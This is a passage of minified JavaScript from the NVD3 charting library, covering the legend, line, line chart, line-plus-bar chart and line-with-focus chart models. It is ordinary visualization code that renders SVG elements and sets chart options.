B[0][b].getComputedTextLength()+27}).attr("height",18).attr("y",-9).attr("x",-15),u.insert("rect",":first-child").attr("class","nv-legend-bg").attr("fill","#eee").attr("opacity",0);var O=v.select(".nv-legend-bg");O.transition().duration(300).attr("x",-x).attr("width",C+x-12).attr("height",e+10).attr("y",-c.top-10).attr("opacity",m?1:0)}w.style("fill",r).style("fill-opacity",s).style("stroke",r)}),b}var c={top:5,right:0,bottom:5,left:0},d=400,e=20,f=function(a){return a.key},g=a.utils.getColor(),h=!0,i=32,j=!0,k=!0,l=!1,m=!1,n=d3.dispatch("legendClick","legendDblclick","legendMouseover","legendMouseout","stateChange"),o="classic";return b.dispatch=n,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},key:{get:function(){return f},set:function(a){f=a}},align:{get:function(){return h},set:function(a){h=a}},rightAlign:{get:function(){return j},set:function(a){j=a}},padding:{get:function(){return i},set:function(a){i=a}},updateState:{get:function(){return k},set:function(a){k=a}},radioButtonMode:{get:function(){return l},set:function(a){l=a}},expanded:{get:function(){return m},set:function(a){m=a}},vers:{get:function(){return o},set:function(a){o=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return g},set:function(b){g=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.line=function(){"use strict";function b(r){return v.reset(),v.models(e),r.each(function(b){i=d3.select(this);var r=a.utils.availableWidth(g,i,f),s=a.utils.availableHeight(h,i,f);a.utils.initSVG(i),c=e.xScale(),d=e.yScale(),t=t||c,u=u||d;var w=i.selectAll("g.nv-wrap.nv-line").data([b]),x=w.enter().append("g").attr("class","nvd3 nv-wrap nv-line"),y=x.append("defs"),z=x.append("g"),A=w.select("g");z.append("g").attr("class","nv-groups"),z.append("g").attr("class","nv-scatterWrap"),w.attr("transform","translate("+f.left+","+f.top+")"),e.width(r).height(s);var B=w.select(".nv-scatterWrap");B.call(e),y.append("clipPath").attr("id","nv-edge-clip-"+e.id()).append("rect"),w.select("#nv-edge-clip-"+e.id()+" rect").attr("width",r).attr("height",s>0?s:0),A.attr("clip-path",p?"url(#nv-edge-clip-"+e.id()+")":""),B.attr("clip-path",p?"url(#nv-edge-clip-"+e.id()+")":"");var C=w.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});C.enter().append("g").style("stroke-opacity",1e-6).style("stroke-width",function(a){return a.strokeWidth||j}).style("fill-opacity",1e-6),C.exit().remove(),C.attr("class",function(a,b){return(a.classed||"")+" nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return k(a,b)}).style("stroke",function(a,b){return k(a,b)}),C.watchTransition(v,"line: groups").style("stroke-opacity",1).style("fill-opacity",function(a){return a.fillOpacity||.5});var D=C.selectAll("path.nv-area").data(function(a){return o(a)?[a]:[]});D.enter().append("path").attr("class","nv-area").attr("d",function(b){return d3.svg.area().interpolate(q).defined(n).x(function(b,c){return a.utils.NaNtoZero(t(l(b,c)))}).y0(function(b,c){return a.utils.NaNtoZero(u(m(b,c)))}).y1(function(){return u(d.domain()[0]<=0?d.domain()[1]>=0?0:d.domain()[1]:d.domain()[0])}).apply(this,[b.values])}),C.exit().selectAll("path.nv-area").remove(),D.watchTransition(v,"line: areaPaths").attr("d",function(b){return d3.svg.area().interpolate(q).defined(n).x(function(b,d){return a.utils.NaNtoZero(c(l(b,d)))}).y0(function(b,c){return a.utils.NaNtoZero(d(m(b,c)))}).y1(function(){return d(d.domain()[0]<=0?d.domain()[1]>=0?0:d.domain()[1]:d.domain()[0])}).apply(this,[b.values])});var E=C.selectAll("path.nv-line").data(function(a){return[a.values]});E.enter().append("path").attr("class","nv-line").attr("d",d3.svg.line().interpolate(q).defined(n).x(function(b,c){return a.utils.NaNtoZero(t(l(b,c)))}).y(function(b,c){return a.utils.NaNtoZero(u(m(b,c)))})),E.watchTransition(v,"line: linePaths").attr("d",d3.svg.line().interpolate(q).defined(n).x(function(b,d){return a.utils.NaNtoZero(c(l(b,d)))}).y(function(b,c){return a.utils.NaNtoZero(d(m(b,c)))})),t=c.copy(),u=d.copy()}),v.renderEnd("line immediate"),b}var c,d,e=a.models.scatter(),f={top:0,right:0,bottom:0,left:0},g=960,h=500,i=null,j=1.5,k=a.utils.defaultColor(),l=function(a){return a.x},m=function(a){return a.y},n=function(a,b){return!isNaN(m(a,b))&&null!==m(a,b)},o=function(a){return a.area},p=!1,q="linear",r=250,s=d3.dispatch("elementClick","elementMouseover","elementMouseout","renderEnd");e.pointSize(16).pointDomain([16,256]);var t,u,v=a.utils.renderWatch(s,r);return b.dispatch=s,b.scatter=e,e.dispatch.on("elementClick",function(){s.elementClick.apply(this,arguments)}),e.dispatch.on("elementMouseover",function(){s.elementMouseover.apply(this,arguments)}),e.dispatch.on("elementMouseout",function(){s.elementMouseout.apply(this,arguments)}),b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},defined:{get:function(){return n},set:function(a){n=a}},interpolate:{get:function(){return q},set:function(a){q=a}},clipEdge:{get:function(){return p},set:function(a){p=a}},margin:{get:function(){return f},set:function(a){f.top=void 0!==a.top?a.top:f.top,f.right=void 0!==a.right?a.right:f.right,f.bottom=void 0!==a.bottom?a.bottom:f.bottom,f.left=void 0!==a.left?a.left:f.left}},duration:{get:function(){return r},set:function(a){r=a,v.reset(r),e.duration(r)}},isArea:{get:function(){return o},set:function(a){o=d3.functor(a)}},x:{get:function(){return l},set:function(a){l=a,e.x(a)}},y:{get:function(){return m},set:function(a){m=a,e.y(a)}},color:{get:function(){return k},set:function(b){k=a.utils.getColor(b),e.color(k)}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.lineChart=function(){"use strict";function b(j){return y.reset(),y.models(e),p&&y.models(f),q&&y.models(g),j.each(function(j){var v=d3.select(this),y=this;a.utils.initSVG(v);var B=a.utils.availableWidth(m,v,k),C=a.utils.availableHeight(n,v,k);if(b.update=function(){0===x?v.call(b):v.transition().duration(x).call(b)},b.container=this,t.setter(A(j),b.update).getter(z(j)).update(),t.disabled=j.map(function(a){return!!a.disabled}),!u){var D;u={};for(D in t)u[D]=t[D]instanceof Array?t[D].slice(0):t[D] -}if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,v),b;v.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var E=v.selectAll("g.nv-wrap.nv-lineChart").data([j]),F=E.enter().append("g").attr("class","nvd3 nv-wrap nv-lineChart").append("g"),G=E.select("g");F.append("rect").style("opacity",0),F.append("g").attr("class","nv-x nv-axis"),F.append("g").attr("class","nv-y nv-axis"),F.append("g").attr("class","nv-linesWrap"),F.append("g").attr("class","nv-legendWrap"),F.append("g").attr("class","nv-interactive"),G.select("rect").attr("width",B).attr("height",C>0?C:0),o&&(h.width(B),G.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),C=a.utils.availableHeight(n,v,k)),E.select(".nv-legendWrap").attr("transform","translate(0,"+-k.top+")")),E.attr("transform","translate("+k.left+","+k.top+")"),r&&G.select(".nv-y.nv-axis").attr("transform","translate("+B+",0)"),s&&(i.width(B).height(C).margin({left:k.left,top:k.top}).svgContainer(v).xScale(c),E.select(".nv-interactive").call(i)),e.width(B).height(C).color(j.map(function(a,b){return a.color||l(a,b)}).filter(function(a,b){return!j[b].disabled}));var H=G.select(".nv-linesWrap").datum(j.filter(function(a){return!a.disabled}));H.call(e),p&&(f.scale(c)._ticks(a.utils.calcTicksX(B/100,j)).tickSize(-C,0),G.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),G.select(".nv-x.nv-axis").call(f)),q&&(g.scale(d)._ticks(a.utils.calcTicksY(C/36,j)).tickSize(-B,0),G.select(".nv-y.nv-axis").call(g)),h.dispatch.on("stateChange",function(a){for(var c in a)t[c]=a[c];w.stateChange(t),b.update()}),i.dispatch.on("elementMousemove",function(c){e.clearHighlights();var d,h,m,n=[];if(j.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(f,g){h=a.interactiveBisect(f.values,c.pointXValue,b.x());var i=f.values[h],j=b.y()(i,h);null!=j&&e.highlightPoint(g,h,!0),void 0!==i&&(void 0===d&&(d=i),void 0===m&&(m=b.xScale()(b.x()(i,h))),n.push({key:f.key,value:j,color:l(f,f.seriesIndex)}))}),n.length>2){var o=b.yScale().invert(c.mouseY),p=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),q=.03*p,r=a.nearestValueIndex(n.map(function(a){return a.value}),o,q);null!==r&&(n[r].highlight=!0)}var s=f.tickFormat()(b.x()(d,h));i.tooltip.position({left:c.mouseX+k.left,top:c.mouseY+k.top}).chartContainer(y.parentNode).valueFormatter(function(a){return null==a?"N/A":g.tickFormat()(a)}).data({value:s,index:h,series:n})(),i.renderGuideLine(m)}),i.dispatch.on("elementClick",function(c){var d,f=[];j.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(e){var g=a.interactiveBisect(e.values,c.pointXValue,b.x()),h=e.values[g];if("undefined"!=typeof h){"undefined"==typeof d&&(d=b.xScale()(b.x()(h,g)));var i=b.yScale()(b.y()(h,g));f.push({point:h,pointIndex:g,pos:[d,i],seriesIndex:e.seriesIndex,series:e})}}),e.dispatch.elementClick(f)}),i.dispatch.on("elementMouseout",function(){e.clearHighlights()}),w.on("changeState",function(a){"undefined"!=typeof a.disabled&&j.length===a.disabled.length&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),t.disabled=a.disabled),b.update()})}),y.renderEnd("lineChart immediate"),b}var c,d,e=a.models.line(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.interactiveGuideline(),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=a.utils.defaultColor(),m=null,n=null,o=!0,p=!0,q=!0,r=!1,s=!1,t=a.utils.state(),u=null,v=null,w=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd"),x=250;f.orient("bottom").tickPadding(7),g.orient(r?"right":"left"),j.valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)});var y=a.utils.renderWatch(w,x),z=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},A=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return e.dispatch.on("elementMouseover.tooltip",function(a){j.data(a).position(a.pos).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),b.dispatch=w,b.lines=e,b.legend=h,b.xAxis=f,b.yAxis=g,b.interactiveLayer=i,b.tooltip=j,b.dispatch=w,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return o},set:function(a){o=a}},showXAxis:{get:function(){return p},set:function(a){p=a}},showYAxis:{get:function(){return q},set:function(a){q=a}},defaultState:{get:function(){return u},set:function(a){u=a}},noData:{get:function(){return v},set:function(a){v=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return x},set:function(a){x=a,y.reset(x),e.duration(x),f.duration(x),g.duration(x)}},color:{get:function(){return l},set:function(b){l=a.utils.getColor(b),h.color(l),e.color(l)}},rightAlignYAxis:{get:function(){return r},set:function(a){r=a,g.orient(r?"right":"left")}},useInteractiveGuideline:{get:function(){return s},set:function(a){s=a,s&&(e.interactive(!1),e.useVoronoi(!1))}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.linePlusBarChart=function(){"use strict";function b(v){return v.each(function(v){function J(a){var b=+("e"==a),c=b?1:-1,d=X/3;return"M"+.5*c+","+d+"A6,6 0 0 "+b+" "+6.5*c+","+(d+6)+"V"+(2*d-6)+"A6,6 0 0 "+b+" "+.5*c+","+2*d+"ZM"+2.5*c+","+(d+8)+"V"+(2*d-8)+"M"+4.5*c+","+(d+8)+"V"+(2*d-8)}function S(){u.empty()||u.extent(I),kb.data([u.empty()?e.domain():I]).each(function(a){var b=e(a[0])-e.range()[0],c=e.range()[1]-e(a[1]);d3.select(this).select(".left").attr("width",0>b?0:b),d3.select(this).select(".right").attr("x",e(a[1])).attr("width",0>c?0:c)})}function T(){I=u.empty()?null:u.extent(),c=u.empty()?e.domain():u.extent(),K.brush({extent:c,brush:u}),S(),l.width(V).height(W).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&v[b].bar})),j.width(V).height(W).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&!v[b].bar}));var b=db.select(".nv-focus .nv-barsWrap").datum(Z.length?Z.map(function(a){return{key:a.key,values:a.values.filter(function(a,b){return l.x()(a,b)>=c[0]&&l.x()(a,b)<=c[1]})}}):[{values:[]}]),h=db.select(".nv-focus .nv-linesWrap").datum($[0].disabled?[{values:[]}]:$.map(function(a){return{area:a.area,fillOpacity:a.fillOpacity,key:a.key,values:a.values.filter(function(a,b){return j.x()(a,b)>=c[0]&&j.x()(a,b)<=c[1]})}}));d=Z.length?l.xScale():j.xScale(),n.scale(d)._ticks(a.utils.calcTicksX(V/100,v)).tickSize(-W,0),n.domain([Math.ceil(c[0]),Math.floor(c[1])]),db.select(".nv-x.nv-axis").transition().duration(L).call(n),b.transition().duration(L).call(l),h.transition().duration(L).call(j),db.select(".nv-focus .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),p.scale(f)._ticks(a.utils.calcTicksY(W/36,v)).tickSize(-V,0),q.scale(g)._ticks(a.utils.calcTicksY(W/36,v)).tickSize(Z.length?0:-V,0),db.select(".nv-focus .nv-y1.nv-axis").style("opacity",Z.length?1:0),db.select(".nv-focus .nv-y2.nv-axis").style("opacity",$.length&&!$[0].disabled?1:0).attr("transform","translate("+d.range()[1]+",0)"),db.select(".nv-focus .nv-y1.nv-axis").transition().duration(L).call(p),db.select(".nv-focus .nv-y2.nv-axis").transition().duration(L).call(q)}var U=d3.select(this);a.utils.initSVG(U);var V=a.utils.availableWidth(y,U,w),W=a.utils.availableHeight(z,U,w)-(E?H:0),X=H-x.top-x.bottom;if(b.update=function(){U.transition().duration(L).call(b)},b.container=this,M.setter(R(v),b.update).getter(Q(v)).update(),M.disabled=v.map(function(a){return!!a.disabled}),!N){var Y;N={};for(Y in M)N[Y]=M[Y]instanceof Array?M[Y].slice(0):M[Y]}if(!(v&&v.length&&v.filter(function(a){return a.values.length}).length))return a.utils.noData(b,U),b;U.selectAll(".nv-noData").remove();var Z=v.filter(function(a){return!a.disabled&&a.bar}),$=v.filter(function(a){return!a.bar});d=l.xScale(),e=o.scale(),f=l.yScale(),g=j.yScale(),h=m.yScale(),i=k.yScale();var _=v.filter(function(a){return!a.disabled&&a.bar}).map(function(a){return a.values.map(function(a,b){return{x:A(a,b),y:B(a,b)}})}),ab=v.filter(function(a){return!a.disabled&&!a.bar}).map(function(a){return a.values.map(function(a,b){return{x:A(a,b),y:B(a,b)}})});d.range([0,V]),e.domain(d3.extent(d3.merge(_.concat(ab)),function(a){return a.x})).range([0,V]);var bb=U.selectAll("g.nv-wrap.nv-linePlusBar").data([v]),cb=bb.enter().append("g").attr("class","nvd3 nv-wrap nv-linePlusBar").append("g"),db=bb.select("g");cb.append("g").attr("class","nv-legendWrap");var eb=cb.append("g").attr("class","nv-focus");eb.append("g").attr("class","nv-x nv-axis"),eb.append("g").attr("class","nv-y1 nv-axis"),eb.append("g").attr("class","nv-y2 nv-axis"),eb.append("g").attr("class","nv-barsWrap"),eb.append("g").attr("class","nv-linesWrap");var fb=cb.append("g").attr("class","nv-context");if(fb.append("g").attr("class","nv-x nv-axis"),fb.append("g").attr("class","nv-y1 nv-axis"),fb.append("g").attr("class","nv-y2 nv-axis"),fb.append("g").attr("class","nv-barsWrap"),fb.append("g").attr("class","nv-linesWrap"),fb.append("g").attr("class","nv-brushBackground"),fb.append("g").attr("class","nv-x nv-brush"),D){var gb=t.align()?V/2:V,hb=t.align()?gb:0;t.width(gb),db.select(".nv-legendWrap").datum(v.map(function(a){return a.originalKey=void 0===a.originalKey?a.key:a.originalKey,a.key=a.originalKey+(a.bar?O:P),a})).call(t),w.top!=t.height()&&(w.top=t.height(),W=a.utils.availableHeight(z,U,w)-H),db.select(".nv-legendWrap").attr("transform","translate("+hb+","+-w.top+")")}bb.attr("transform","translate("+w.left+","+w.top+")"),db.select(".nv-context").style("display",E?"initial":"none"),m.width(V).height(X).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&v[b].bar})),k.width(V).height(X).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&!v[b].bar}));var ib=db.select(".nv-context .nv-barsWrap").datum(Z.length?Z:[{values:[]}]),jb=db.select(".nv-context .nv-linesWrap").datum($[0].disabled?[{values:[]}]:$);db.select(".nv-context").attr("transform","translate(0,"+(W+w.bottom+x.top)+")"),ib.transition().call(m),jb.transition().call(k),G&&(o._ticks(a.utils.calcTicksX(V/100,v)).tickSize(-X,0),db.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+h.range()[0]+")"),db.select(".nv-context .nv-x.nv-axis").transition().call(o)),F&&(r.scale(h)._ticks(X/36).tickSize(-V,0),s.scale(i)._ticks(X/36).tickSize(Z.length?0:-V,0),db.select(".nv-context .nv-y3.nv-axis").style("opacity",Z.length?1:0).attr("transform","translate(0,"+e.range()[0]+")"),db.select(".nv-context .nv-y2.nv-axis").style("opacity",$.length?1:0).attr("transform","translate("+e.range()[1]+",0)"),db.select(".nv-context .nv-y1.nv-axis").transition().call(r),db.select(".nv-context .nv-y2.nv-axis").transition().call(s)),u.x(e).on("brush",T),I&&u.extent(I);var kb=db.select(".nv-brushBackground").selectAll("g").data([I||u.extent()]),lb=kb.enter().append("g");lb.append("rect").attr("class","left").attr("x",0).attr("y",0).attr("height",X),lb.append("rect").attr("class","right").attr("x",0).attr("y",0).attr("height",X);var mb=db.select(".nv-x.nv-brush").call(u);mb.selectAll("rect").attr("height",X),mb.selectAll(".resize").append("path").attr("d",J),t.dispatch.on("stateChange",function(a){for(var c in a)M[c]=a[c];K.stateChange(M),b.update()}),K.on("changeState",function(a){"undefined"!=typeof a.disabled&&(v.forEach(function(b,c){b.disabled=a.disabled[c]}),M.disabled=a.disabled),b.update()}),T()}),b}var c,d,e,f,g,h,i,j=a.models.line(),k=a.models.line(),l=a.models.historicalBar(),m=a.models.historicalBar(),n=a.models.axis(),o=a.models.axis(),p=a.models.axis(),q=a.models.axis(),r=a.models.axis(),s=a.models.axis(),t=a.models.legend(),u=d3.svg.brush(),v=a.models.tooltip(),w={top:30,right:30,bottom:30,left:60},x={top:0,right:30,bottom:20,left:60},y=null,z=null,A=function(a){return a.x},B=function(a){return a.y},C=a.utils.defaultColor(),D=!0,E=!0,F=!1,G=!0,H=50,I=null,J=null,K=d3.dispatch("brush","stateChange","changeState"),L=0,M=a.utils.state(),N=null,O=" (left axis)",P=" (right axis)";j.clipEdge(!0),k.interactive(!1),n.orient("bottom").tickPadding(5),p.orient("left"),q.orient("right"),o.orient("bottom").tickPadding(5),r.orient("left"),s.orient("right"),v.headerEnabled(!0).headerFormatter(function(a,b){return n.tickFormat()(a,b)});var Q=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},R=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return j.dispatch.on("elementMouseover.tooltip",function(a){v.duration(100).valueFormatter(function(a,b){return q.tickFormat()(a,b)}).data(a).position(a.pos).hidden(!1)}),j.dispatch.on("elementMouseout.tooltip",function(){v.hidden(!0)}),l.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={value:b.y()(a.data),color:a.color},v.duration(0).valueFormatter(function(a,b){return p.tickFormat()(a,b)}).data(a).hidden(!1)}),l.dispatch.on("elementMouseout.tooltip",function(){v.hidden(!0)}),l.dispatch.on("elementMousemove.tooltip",function(){v.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=K,b.legend=t,b.lines=j,b.lines2=k,b.bars=l,b.bars2=m,b.xAxis=n,b.x2Axis=o,b.y1Axis=p,b.y2Axis=q,b.y3Axis=r,b.y4Axis=s,b.tooltip=v,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return y},set:function(a){y=a}},height:{get:function(){return z},set:function(a){z=a}},showLegend:{get:function(){return D},set:function(a){D=a}},brushExtent:{get:function(){return I},set:function(a){I=a}},noData:{get:function(){return J},set:function(a){J=a}},focusEnable:{get:function(){return E},set:function(a){E=a}},focusHeight:{get:function(){return H},set:function(a){H=a}},focusShowAxisX:{get:function(){return G},set:function(a){G=a}},focusShowAxisY:{get:function(){return F},set:function(a){F=a}},legendLeftAxisHint:{get:function(){return O},set:function(a){O=a}},legendRightAxisHint:{get:function(){return P},set:function(a){P=a}},tooltips:{get:function(){return v.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),v.enabled(!!b)}},tooltipContent:{get:function(){return v.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),v.contentGenerator(b)}},margin:{get:function(){return w},set:function(a){w.top=void 0!==a.top?a.top:w.top,w.right=void 0!==a.right?a.right:w.right,w.bottom=void 0!==a.bottom?a.bottom:w.bottom,w.left=void 0!==a.left?a.left:w.left}},duration:{get:function(){return L},set:function(a){L=a}},color:{get:function(){return C},set:function(b){C=a.utils.getColor(b),t.color(C)}},x:{get:function(){return A},set:function(a){A=a,j.x(a),k.x(a),l.x(a),m.x(a)}},y:{get:function(){return B},set:function(a){B=a,j.y(a),k.y(a),l.y(a),m.y(a)}}}),a.utils.inheritOptions(b,j),a.utils.initOptions(b),b},a.models.lineWithFocusChart=function(){"use strict";function b(o){return o.each(function(o){function z(a){var b=+("e"==a),c=b?1:-1,d=M/3;return"M"+.5*c+","+d+"A6,6 0 0 "+b+" "+6.5*c+","+(d+6)+"V"+(2*d-6)+"A6,6 0 0 "+b+" "+.5*c+","+2*d+"ZM"+2.5*c+","+(d+8)+"V"+(2*d-8)+"M"+4.5*c+","+(d+8)+"V"+(2*d-8)}function G(){n.empty()||n.extent(y),U.data([n.empty()?e.domain():y]).each(function(a){var b=e(a[0])-c.range()[0],d=K-e(a[1]);d3.select(this).select(".left").attr("width",0>b?0:b),d3.select(this).select(".right").attr("x",e(a[1])).attr("width",0>d?0:d)})}function H(){y=n.empty()?null:n.extent();var a=n.empty()?e.domain():n.extent();if(!(Math.abs(a[0]-a[1])<=1)){A.brush({extent:a,brush:n}),G();var b=Q.select(".nv-focus .nv-linesWrap").datum(o.filter(function(a){return!a.disabled}).map(function(b){return{key:b.key,area:b.area,values:b.values.filter(function(b,c){return g.x()(b,c)>=a[0]&&g.x()(b,c)<=a[1]})}}));b.transition().duration(B).call(g),Q.select(".nv-focus .nv-x.nv-axis").transition().duration(B).call(i),Q.select(".nv-focus .nv-y.nv-axis").transition().duration(B).call(j)}}var I=d3.select(this),J=this;a.utils.initSVG(I);var K=a.utils.availableWidth(t,I,q),L=a.utils.availableHeight(u,I,q)-v,M=v-r.top-r.bottom;if(b.update=function(){I.transition().duration(B).call(b)},b.container=this,C.setter(F(o),b.update).getter(E(o)).update(),C.disabled=o.map(function(a){return!!a.disabled}),!D){var N;D={};for(N in C)D[N]=C[N]instanceof Array?C[N].slice(0):C[N]}if(!(o&&o.length&&o.filter(function(a){return a.values.length}).length))return a.utils.noData(b,I),b;I.selectAll(".nv-noData").remove(),c=g.xScale(),d=g.yScale(),e=h.xScale(),f=h.yScale();var O=I.selectAll("g.nv-wrap.nv-lineWithFocusChart").data([o]),P=O.enter().append("g").attr("class","nvd3 nv-wrap nv-lineWithFocusChart").append("g"),Q=O.select("g");P.append("g").attr("class","nv-legendWrap");var R=P.append("g").attr("class","nv-focus");R.append("g").attr("class","nv-x nv-axis"),R.append("g").attr("class","nv-y nv-axis"),R.append("g").attr("class","nv-linesWrap"),R.append("g").attr("class","nv-interactive");var S=P.append("g").attr("class","nv-context");S.append("g").attr("class","nv-x nv-axis"),S.append("g").attr("class","nv-y nv-axis"),S.append("g").attr("class","nv-linesWrap"),S.append("g").attr("class","nv-brushBackground"),S.append("g").attr("class","nv-x nv-brush"),x&&(m.width(K),Q.select(".nv-legendWrap").datum(o).call(m),q.top!=m.height()&&(q.top=m.height(),L=a.utils.availableHeight(u,I,q)-v),Q.select(".nv-legendWrap").attr("transform","translate(0,"+-q.top+")")),O.attr("transform","translate("+q.left+","+q.top+")"),w&&(p.width(K).height(L).margin({left:q.left,top:q.top}).svgContainer(I).xScale(c),O.select(".nv-interactive").call(p)),g.width(K).height(L).color(o.map(function(a,b){return a.color||s(a,b)}).filter(function(a,b){return!o[b].disabled})),h.defined(g.defined()).width(K).height(M).color(o.map(function(a,b){return a.color||s(a,b)}).filter(function(a,b){return!o[b].disabled})),Q.select(".nv-context").attr("transform","translate(0,"+(L+q.bottom+r.top)+")");var T=Q.select(".nv-context .nv-linesWrap").datum(o.filter(function(a){return!a.disabled}));d3.transition(T).call(h),i.scale(c)._ticks(a.utils.calcTicksX(K/100,o)).tickSize(-L,0),j.scale(d)._ticks(a.utils.calcTicksY(L/36,o)).tickSize(-K,0),Q.select(".nv-focus .nv-x.nv-axis").attr("transform","translate(0,"+L+")"),n.x(e).on("brush",function(){H()}),y&&n.extent(y);var U=Q.select(".nv-brushBackground").selectAll("g").data([y||n.extent()]),V=U.enter().append("g");V.append("rect").attr("class","left").attr("x",0).attr("y",0).attr("height",M),V.append("rect").attr("class","right").attr("x",0).attr("y",0).attr("height",M);var W=Q.select(".nv-x.nv-brush").call(n);W.selectAll("rect").attr("height",M),W.selectAll(".resize").append("path").attr("d",z),H(),k.scale(e)._ticks(a.utils.calcTicksX(K/100,o)).tickSize(-M,0),Q.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),d3.transition(Q.select(".nv-context .nv-x.nv-axis")).call(k),l.scale(f)._ticks(a.utils.calcTicksY(M/36,o)).tickSize(-K,0),d3.transition(Q.select(".nv-context .nv-y.nv-axis")).call(l),Q.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),m.dispatch.on("stateChange",function(a){for(var c in a)C[c]=a[c];A.stateChange(C),b.update()}),p.dispatch.on("elementMousemove",function(c){g.clearHighlights();var d,f,h,k=[];if(o.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(i,j){var l=n.empty()?e.domain():n.extent(),m=i.values.filter(function(a,b){return g.x()(a,b)>=l[0]&&g.x()(a,b)<=l[1]});f=a.interactiveBisect(m,c.pointXValue,g.x());var o=m[f],p=b.y()(o,f);null!=p&&g.highlightPoint(j,f,!0),void 0!==o&&(void 0===d&&(d=o),void 0===h&&(h=b.xScale()(b.x()(o,f))),k.push({key:i.key,value:b.y()(o,f),color:s(i,i.seriesIndex)}))}),k.length>2){var l=b.yScale().invert(c.mouseY),m=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),r=.03*m,t=a.nearestValueIndex(k.map(function(a){return a.value}),l,r);null!==t&&(k[t].highlight=!0)}var u=i.tickFormat()(b.x()(d,f));p.tooltip.position({left:c.mouseX+q.left,top:c.mouseY+q.top}).chartContainer(J.parentNode).valueFormatter(function(a){return null==a?"N/A":j.tickFormat()(a)}).data({value:u,index:f,series:k})(),p.renderGuideLine(h)}),p.dispatch.on("elementMouseout",function(){g.clearHighlights()}),A.on("changeState",function(a){"undefined"!=typeof a.disabled&&o.forEach(function(b,c){b.disabled=a.disabled[c]}),b.update()})}),b}var c,d,e,f,g=a.models.line(),h=a.models.line(),i=a.models.axis(),j=a.models.axis(),k=a.models.axis(),l=a.models.axis(),m=a.models.legend(),n=d3.svg.brush(),o=a.models.tooltip(),p=a.interactiveGuideline(),q={top:30,right:30,bottom:30,left:60},r={top:0,right:30,bottom:20,left:60},s=a.utils.defaultColor(),t=null,u=null,v=50,w=!1,x=!0,y=null,z=null,A=d3.dispatch("brush","stateChange","changeState"),B=250,C=a.utils.state(),D=null;g.clipEdge(!0).duration(0),h.interactive(!1),i.orient("bottom").tickPadding(5),j.orient("left"),k.orient("bottom").tickPadding(5),l.orient("left"),o.valueFormatter(function(a,b){return j.tickFormat()(a,b)}).headerFormatter(function(a,b){return i.tickFormat()(a,b)});var E=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},F=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return 